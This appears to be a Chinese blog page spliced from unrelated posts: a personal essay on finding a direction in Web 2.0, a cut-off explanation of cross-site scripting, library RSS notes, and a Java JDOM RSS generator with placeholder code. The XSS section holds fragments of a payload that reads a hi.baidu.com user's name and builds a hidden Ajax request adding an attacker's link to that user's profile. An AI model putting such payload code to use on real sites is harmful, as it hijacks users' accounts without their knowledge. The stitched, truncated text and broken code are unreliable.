我想,每个做技术出身的人,在做了一段时间的技术后,都会走到一个迷茫期,不知道自己该走哪一个方向,当然,最终整理清楚,或者放弃技术了,或者走向了专深。
我从97年就开始接触电脑了,从DOS、WPS、QB到LINUX、ORACLE、JAVA,从步步高学习机到SUN服务器,从单机软件到Web2.0。对于技术,我一直以来的理念,都认为它是一个充满乐趣的玩具,是一个更好实现想法的工具。所以,很多方面我都会去尝试,编程、操作系统、数据库、设计等等,但都浅尝则止。
转眼十年,我依然迷茫,看似好的方向比如数据库,我似乎没有太多兴趣,倘若纯粹由于客观发展方向好而丝毫不考虑自己的真实感受,那么我会觉得这是人生的悲哀,而我喜欢的方向比如用户界面设计,一直以来似乎总徘徊在应用的边沿,人们都认为这些只是表面功夫而已。
Web2.0时代的到来,给我带来了极大的惊喜,它强调用户体验的核心理念正是我长久以来心中最牵挂的东西。一年以来,我由此看到了些许希望,并小心翼翼的尝试,试图让自己确信,这就是我要去做的事情,这就是一个值得自己付出更多努力,能给自己带来更多愉悦的技术方向。
毫无疑问,Web2.0中的“关注技术为用户体验服务、降低用户使用的门槛、珍惜用户的每一次点击、简单就是美、随时随地解决用户的困惑、创造性的满足用户的需求、开发者是用网页在与用户进行对话”等理念让我怦然心动;而Web2.0中所应用的底层技术,都是长期以来我用惯了的东西——javascript、DOM、XML、XHTML、CSS、JAVA等等——也是如此的让我惊喜;但更重要的,我有种很美妙的感觉:通过Web2.0,我甚至可以“触摸”到我的用户。
我喜欢自己的东西做得好看,喜欢自己的东西好用,喜欢自己的东西好玩,其实我一直以来都乐于去做用户界面的事情,Web2.0的到来给我确定自己的方向带来了契机,而在一个越来越强调用户参与的时代,我已经走在了阳光大道上。
当然,在工作中是不能完完全全按照自己的兴趣去做事情的,制度不允许,时间不允许,环境不允许,关键是要知道自己在做什么,并且慢慢地把一些想法融入到工作中去。
来句口号:我是一个的小兵,我在1.0的位置,拿着1.0的工资,怀着2.0的憧憬,带着2.0的热情,走在通往2.0的快乐路途中。
),意思即是跨网站脚本,简单点说,就是某个网页(或者其他应用,如rss)上存在一段恶意脚本,当一个用户访问到这个应用时,这段恶意脚本是被浏览器信任的,于是浏览器就在用户不知情的情况下执行了这段脚本。而这段脚本可以做的事情包括:窃取COOKIES,sessions
user=s.substring(p+1,p2);
name=’Here is a bad site’;
link=’目标网址’;
desc=’This link was added by an XSS script’;
url=’/'+user+’/commit’;
-执行Ajax的数据异步调用,将数据传出,在用户不知情的情况下以用户身份执行了操作
data=’ct=6&cm=1&spRef=’+escape(’http://hi.baidu.com/’+user)+’%2Fmodify%2Fbuddylink%2F0&spBuddyName=’+escape(name)+’&spBuddyURL=’+escape(link)+’&spBuddyIntro=’+escape(desc);
……
1、Rss订阅服务
另外值得一提的是有些数据库比如Engineering Village
2,提供了基于关键词的Rss订阅服务,这其实给我们做资源整合提供了一个入口。图书馆可以写一个基于某些关键词的读写各个数据库Rss数据的程序,并进行查重整合,给读者提供服务——这可是做到元数据级的整合了。可惜这段时间没空,没来得及写。
,让用户对图片进行描述和标记——在这里再结合WIKI的理念,所有用户都可以更新这一标记,呵呵,完美啊~
),因为要追踪并记录用户行为。Tags: Ajax, rss, web2.0, wiki, 博客, 即时通讯, 标签
//新闻rss
//jnuzyx.2006.09.20
//需要JDOM1.0
//需要数据库链接类
package rss;
import java.io.FileOutputStream;
import java.util.Date;
import java.text.SimpleDateFormat;
import org.jdom.Attribute;
import org.jdom.Document;
import org.jdom.Element;
import org.jdom.output.XMLOutputter;
import org.jdom.output.Format;
import org.jdom.CDATA;
import java.sql.*;
import *.*Pool;
public class news
{
//
public
static void rssnews(String dir) throws Exception {
Element root = new Element(”rss”);
root.setAttribute(new Attribute(”version”, “2.0″));
Document doc = new
Document(root);
//将根元素植入
Element channel = new Element(”channel”);
root.addContent(channel);
Element Ntitle = new Element(”title”);
Ntitle.addContent(”暨南大学图书馆新闻订阅”);
channel.addContent(Ntitle);
Element Nlink = new Element(”link”);
Nlink.addContent(”http://lib.jnu.edu.cn/“);
channel.addContent(Nlink);
Element Ndescription = new Element(”description”);
Ndescription.addContent(”暨南大学图书馆新闻订阅”);
channel.addContent(Ndescription);
Element Nlanguage = new Element(”language”);
Nlanguage.addContent(”zh-cn”);
channel.addContent(Nlanguage);
Element Ncopyright = new Element(”copyright”);
Ncopyright.addContent(”Copyright 2006 暨南大学图书馆. All Rights
Reserved.”);
channel.addContent(Ncopyright);
Element NwebMaster = new Element(”webMaster”);
NwebMaster.addContent(”暨南大学图书馆”);
channel.addContent(NwebMaster);
Element NpubDate = new Element(”pubDate”);
java.util.Date now=new java.util.Date();
NpubDate.addContent(FormatRssDate(now));
channel.addContent(NpubDate);
Element NlastBuildDate = new Element(”lastBuildDate”);
NlastBuildDate.addContent(FormatRssDate(now));
channel.addContent(NlastBuildDate);
Element Ngenerator = new Element(”generator”);
Ngenerator.addContent(”JNULRSS 1.0(beta)”);
channel.addContent(Ngenerator);
//读入数据库数据
//*.*Pool pool = new ****;
ResultSet rs = pool.getRs(”$sql 语句$”);
//增加ITEM
String strContent;
while(rs.next()){
Element student = new
Element(”item”);//生成元素
student.addContent(new
Element(”title”).addContent(rs.getString(”*”)));
student.addContent(new Element(”link”).addContent(”$url$”)));
student.addContent(new
Element(”author”).addContent(”jnuzyx”));
student.addContent(new
Element(”category”).addContent(”暨南大学图书馆新闻订阅”));
student.addContent(new
Element(”pubdate”).addContent(FormatRssDate($date$)));
if(rs.getString(”$content$”)!=null)
{
strContent =
rs.getString(”$content$”).substring(0, 320)+”….”;
}
else
{
strContent = “请点击查看全文….”;
}
student.addContent(new Element(”description”).addContent(new
CDATA(strContent)));
channel.addContent(student);
}
//关闭
if(rs!=null)
{
rs.close();
}
rs = null;
//输出
try{
XMLOutputter XMLOut = new
XMLOutputter(Format.getPrettyFormat());
XMLOut.output(doc, new FileOutputStream(dir + “news.xml”));
}catch (java.io.IOException e) {
e.printStackTrace();
}
}
public
static String FormatRssDate(Date dt) {
SimpleDateFormat RssFmtDt=new SimpleDateFormat(”EEE, dd MM yyyy
HH:mm:ss z”);
return RssFmtDt.format(dt).toString();
}
}